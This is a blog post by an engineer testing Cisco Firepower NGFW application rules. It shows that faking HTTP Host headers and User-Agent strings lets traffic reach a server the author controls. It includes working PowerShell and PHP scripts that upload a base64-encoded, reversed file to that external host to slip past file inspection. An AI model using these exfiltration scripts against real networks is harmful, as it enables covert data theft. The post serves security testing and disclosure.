I was asked to take over a project involving implementing some Next Generation Firewalls. In this particular case it was Cisco Firepower Threat Defense. I was told that these NGFWs are all singing, all dancing and given the cost of them you’d expect that and more. I was told they understand more than just Layer 3 meaning we can do things like write rules based on FQDN, allow traffic based on the Application generating the traffic.

But first, a rant.

I was sceptical but maybe by some magic it could do this and solve all problems. Why was I sceptical? Do you remember way back when, when there were just firewalls? Then there were “stateful inspection firewalls” that could track connections and this paved the way for protocol inspection (NAT v’s SIP, DNS, SMTP). And alongside this there may have been boxes providing IDS/IPS. And probably a proxy doing content inspection. Some upstarts appeared on the scene (I’m looking at you, Fortinet and Sonicwall) that combined stateful inspection and protocol inspection, IDS/IPS and proxy functions in to a single platform. The term UTM (Unified Threat Management) appeared. The big players became stuck and started to lose customers and rightly so. Cisco tried to shore up their defenses with things like the ASA-X range and acquired Sourcefire which led to FirePOWER. But the reliance on the ASA code (which itself came from the PIX firewall) meant it was clunky and a woefully under powered solution. And then the term “Next Generation Firewall” (NGFW) appeared. It’s nothing more than marketing. Nothing has been reinvented. NGFW is UTM. UTM is a combination of a proxy, IDS/IPS and stateful inspection firewall. NGFW is not a revolution . And the way things are going, the traditional on premise solution is dead. The network edge is no longer where the internal network meets the Internet in your building. The edge is everywhere. It’s Azure, it’s AWS, it’s your user establishing a VPN connection from Starbucks. Security as a Service is the real revolution and this is why guys like Zscaler are winning right now.

With my rant over, back to these Cisco FTDs I was asked to implement and it turns out that right now you cannot use FQDNs when using Cisco Firepower Management Console to manage FTDs. This is a step backwards compared to an ASA which can use FQDNs in rules, albeit with limited functionality/success.

Some of the work on the NGFW implementation had already been started, specifically around writing the Access Control Policy. Whilst looking through some of the rules in an existing Access Control Policy I noticed rules such as the following:

The first rule should allow access to Symantec LiveUpdate as long as the port is TCP/80 (HTTP), TCP/443 (HTTPS), the application is “HTTP” or “HTTPS” and the requested URL matches the “Symantec_LiveUpdate” URL group. In this case those URLs were “liveupdate.symantec.com, live.symantecupdate.com”. The second rule allows access to a bunch of different applications (including but not limited to Service Now, Office 365, Box.com).

This is where the NGFW is using more than just Layer 3 to allow or deny traffic. This is what all the big vendors are pushing now – you’re no longer constrained by source IP, destination IP, protocol and port because with the advent of the cloud, destination IPs are far and wide and trying to maintain or even guess these destinations is a huge challenge.

It were these two rules that got me thinking. How intelligent is the Cisco FTD? How does it know that the application really is Office 365? From what I can tell there was no way of me looking at the properties of the “Office 365” application. It’s as if I should implicitly trust that it was correct and it was going to do the right thing.

I decided to see how easy it would be to break this, manipulate the Cisco FTD and with the ultimate goal of undetected data exfiltration.

I had a rough idea on how the Cisco FTD may be deciding what “application” the traffic it’s seeing might be. Most likely it was looking at the HTTP Host header (or in the case of HTTPS, looking at the SNI extension, Common Name, SAN etc.) and probably the HTTP User Agent string. On a client machine sat behind the Cisco FTD I wrote the following Powershell script:

$ua = 'Mozilla/5.0 (Windows NT 6.4; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.143 Safari/537.36 Edge/12.0'
$expected = '^pwned'

$hosts = @('www.box.com',
           'www.sharefile.com',
           'www.microsoft.com',
           'outlook.office365.com',
           'liveupdate.symantec.com',
           'www.service-now.com')

Write-Host "Sending faked requests to C2 server..."

$hosts | %{
    Write-Host -NoNewLine "Trying $($_): "

    $client = New-Object System.Net.WebClient
    $client.Headers.Add('Host', $_)
    $client.Headers.Add('User-Agent', $ua)

    Try {
        $result = ""
        $result = $client.DownloadString('http://www.myc2.com/pwned.php')
    } Catch {
    }

    If ($result -match $expected) {
        Write-Host -ForegroundColor Green "allowed."
    } Else {
        Write-Host -ForegroundColor Red "failed."
    }

    Remove-Variable client
}

This uses the System.Net.WebClient COM object to connect to http://www.myc2.com/pwned.php and sets a specific User Agent string and tries using various Host headers. If it gets a response from the server of “pwned!”, the request succeeded and we know we can use this Host header/User Agent string to get requests out of the network, through the NGFW, to a server that’s not associated with the application we’re pretending to be. Any other kind of response and the NGFW is likely blocking the request for some reason.

On the server side, an external server that I own and control, the PHP script it’s requesting looks like this:

<?php
$headers = array('www.box.com',
                'www.sharefile.com',
                'www.microsoft.com',
                'outlook.office365.com',
                'liveupdate.symantec.com',
                'www.service-now.com');

if (in_array($_SERVER['HTTP_HOST'], $headers)) {
       echo "pwned!";
       exit;
}

header('Location: http://www.myc2.com');
exit;

When the PHP script is called it checks the Host header sent by the client and if the Host header matches one of the defined hosts, it returns “pwned!” to the client.

This is the discovery phase – which Host headers and/or User Agent strings does the NGFW allow through? The Host headers I have chosen are common business applications and cloud services. The type of stuff that is likely to be allowed out to the Internet and may be based on an application rule. And to my surprise when I ran the discovery phase:

This means I can communicate through the NGFW to any web server just by faking the HTTP Host header. The only one that failed was when the Host header was set to www.microsoft.com and that must be because that Host header and User Agent string combination didn’t match a defined application in the Access Control Policy. Here’s an example of the logs from the NGFW:

It didn’t take much to manipulate the Cisco FTD.

But the Cisco FTD like a lot of its counterparts does “deep packet inspection” and has “next generation IDS/IPS”. Surely if I start to exfiltrate data some kind of alert will be generated and my traffic gets blocked? It would be really bad if I could start transferring data out of the network, through the NGFW, to an arbitrary server whilst pretending that I’m using Box, right? This was the next challenge knowing that I can at least get an outbound connection through the NGFW by faking the Host headers and by covering my tracks by faking the User Agent string so things seem legitimate. A quick modification to the previous PHP script now allows it to accept multipart/form-data (file uploads) requests:

<?php
$headers = array('www.box.com',
                'www.sharefile.com',
                'www.microsoft.com',
                'outlook.office365.com',
                'liveupdate.symantec.com',
                'www.service-now.com');

if (in_array($_SERVER['HTTP_HOST'], $headers)) {
        if ($_SERVER['REQUEST_METHOD'] == 'POST') {
                $uploaded = move_uploaded_file($_FILES['file']['tmp_name'], '/tmp/' . basename($_FILES['file']['name']));

                if ($uploaded) {
                        echo $_FILES['file']['name'] . " was uploaded to /tmp\n";

                        $file = base64_decode(basename($_FILES['file']['name']));
                        $bytes = file_put_contents('/tmp/' . $file, base64_decode(strrev(file_get_contents('/tmp/' . basename($_FILES['file']['name'])))));
                        echo "$bytes bytes decoded and written as /tmp/$file.";
                        unlink('/tmp/' . basename($_FILES['file']['name']));
                } else {
                        echo "Failed to upload. Error #" . $_FILES['file']['error'];
                }
        } else {
                echo "pwned!";
        }

        exit;
}

header('Location: http://www.myc2.com');
exit;
?>

And a new Powershell script on the client side for the data exfiltration part:

$ua = 'Mozilla/5.0 (Windows NT 6.4; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.143 Safari/537.36 Edge/12.0'
$toUpload = 'c:\windows\notepad.exe'

$client = New-Object System.Net.WebClient
$client.Headers.Add('Host', 'www.box.com')
$client.Headers.Add('User-Agent', $ua)

$uploadFile = [System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes((Split-Path $toUpload -Leaf)))

Write-Host -NoNewLine "Encoding $($toUpload): "
$content = Get-Content $toUpload -Encoding Byte
$encoded = [System.Convert]::ToBase64String($content) -split ''
[array]::Reverse($encoded)
$encoded -join '' | Out-File ($env:TEMP + "\$($uploadFile)") -Force ascii
Write-Host -ForegroundColor Green "Done."

Write-Host -NoNewline "Uploading: "
$response = $client.UploadFile('http://www.myc2.com/pwned.php', 'POST', $env:TEMP + "\$($uploadFile)")
Write-Host -ForegroundColor Green "Done.`n"

Remove-Item ($env:TEMP + "\$($uploadFile)") -Force

$response = [System.Text.Encoding]::ASCII.GetString($response)
Write-Host "Response from server:`n$($response)"

In this example I fake the HTTP Host header as www.box.com and fake the User Agent string so it looks like I’m using the Microsoft Edge browser. On the Cisco FTD I created a File policy to look for any files uploaded/downloaded of specific types including Executables. The client side Powershell script converts any file to be uploaded to a Base64 string and reverses that string before writing the contents (as ASCII) to a temporary file and attempts to upload that to the server that I own and control. This is an extremely basic obfuscation/evasion technique. The script on the server side does the opposite. It reverses the Base64 encoded ASCII string, decodes it and writes it to a file.

And the result from the client side:

The Cisco FTD didn’t block this, didn’t flag this as suspicious and the logs show this transaction as Microsoft Edge talking to the Box web application:

And on my server I get the uploaded file:

And the MD5 sum of the file uploaded from the client just to make sure it’s an exact copy:

I also removed the step that reverses the Base64 string but once again the Cisco FTD didn’t detect or block the file upload. If I uploaded the EXE with no encoding, no obfuscation, no evasion techniques, it did detect this and block it.

And there you have it. I’m not a seasoned hacker but it didn’t take much to manipulate this Next Generation Firewall. The takeaway here is do not get swept up in the sales and marketing talk. Where possible always base your allow decision on a destination to prevent this type of manipulation. It’s easy to spoof the contents of a packet. It’s not so easy to manipulate Layer 3 and profit from it.

Leave a Reply

Your email address will not be published. Required fields are marked *

This site is protected by reCAPTCHA and the Google Privacy Policy and Terms of Service apply.

The reCAPTCHA verification period has expired. Please reload the page.